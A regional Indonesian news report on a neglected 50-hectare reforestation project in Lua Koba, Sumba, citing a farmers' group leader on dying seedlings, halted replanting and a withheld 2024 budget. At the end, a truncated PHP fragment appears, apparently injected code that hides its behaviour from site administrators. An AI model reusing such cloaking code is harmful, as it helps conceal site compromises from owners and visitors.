Lingkungan Hidup

Kegiatan RHL 50 Hektar di Lua Koba “Jauh Panggang dari Api” Nihil Penyulaman Tahun Ketiga

×

Kegiatan RHL 50 Hektar di Lua Koba “Jauh Panggang dari Api” Nihil Penyulaman Tahun Ketiga

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Kegiatan Reboisasi Hutan dan Lahan (RHL) yang dilakukan pada Kawasan Hutan Roko Raka-Mata Lombu di Desa Lua Koba, Kecamatan Wewewa Barat terlihat jauh panggang dari api.

Pantauan media ini, Sabtu (21/06/2025) hanya mendapati lokasi kebun jagung di Oma Borota, Desa Lua Koba yang konon jadi area penanaman pohon.

Menurut Paulus Bulu Malo penggarap lahan jagung yang juga Ketua Kelompok Omba Dara Lestari tersebut, kebun luas kebun ini kurang lebih 7 hektar.

Ketua Kelompok Omba Dara Lestari, Paulus Bulu Malo. ( Foto Menara Sumba )

Di sela rerimbunan tanaman jagung terdapat pohon mente dengan tinggi setengah meter yang juga terlihat jarang.

Ia menyebut, kegiatan RHL diawali pada tahun 2022 dan berjalan selama satu bulan.

“Kelompok Omba Dara Lestari yang beranggotakan 25 orang dilibatkan dalam penanaman dengan upah HOK 90 ribu per hari,” tutur Paulus.

Ada pun tanaman untuk kegiatan RHL itu berupa kemiri, mente, trembesi, petai, dan kelor.

Pada tahun 2023 dilakukan kegiatan penyulaman yang berjalan selama satu minggu.

“Tapi setelah itu tidak ada lagi kegiatan lanjutan hingga saat ini,” bebernya.

Ia juga menjelaskan, bahwa selalu ketua kelompok dirinya hanya mengawasi keselamatan tanaman tanpa dukungan fasilitas apa pun.

“Makanya apabila ada kebakaran saya tidak bisa berbuat apa-apa,” timpalnya.

Apalagi sejak tahun 2024 lalu tidak pernah ada lagi kegiatan apa pun yang terkait dengan RHL di lokasi itu.

Salah satu areal yang ditanami pohon mente penuh diselimuti semak ilalang. ( Foto Menara Sumba )

Sesuai pantauan awak media yang turun langsung ke lokasi, kegiatan RHL yang setiap tahun disebut menghabiskan dana miliaran ini mendapati kondisi yang mengenaskan.

Pandangan mata terlihat hamparan kebun jagung dengan luas tidak seberapa yang di dalamnya terdapat sejumlah pohon mente.

Padahal pada setiap hektar lahan semestinya ditanami 400 pohon dari beberapa jenis.

Tidak nampak pohon kemiri, trembesi, petai, dan kelor di area lahan jagung itu.

Sedangkan tanaman mente lain tumbuh merana di rerimbunan semak pada sebuah lahan yang tidak seberapa luas.

Sesuai data pada papan informasi disebut, luas lokasi RHL mencapai 50 hektar dan jika dikalkulasi maka semestinya ada 20 ribu pohon dari beberapa jenis yang terlihat menghijau di lokasi itu.

Sumber dana untuk kegiatan RHL tahun 2022 ini berasal dari DIPA Balai Pengelolaan Daerah Aliran Sungai Hutan dan Lahan (BPDASHL) Benain Noelmina.

Dalam kegiatan itu juga wajib dilakukan penyulaman selama dua tahun berturut-turut hingga tahun 2024.

Tapi sayang kegiatannya terputus tanpa alasan dan hanya sampai tahun kedua pada 2023 lalu.

“Terakhir kami hanya melakukan kegiatan penyulaman selama satu minggu pada tahun 2023 lalu,” aku Paulus.

Diduga kegiatan ini dilakukan tidak sesuai mekanisme karena anggaran penyulaman pada tahun 2024 lalu diendapkan.

“Tidak kegiatan apa pun pada tahun 2024 lalu,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>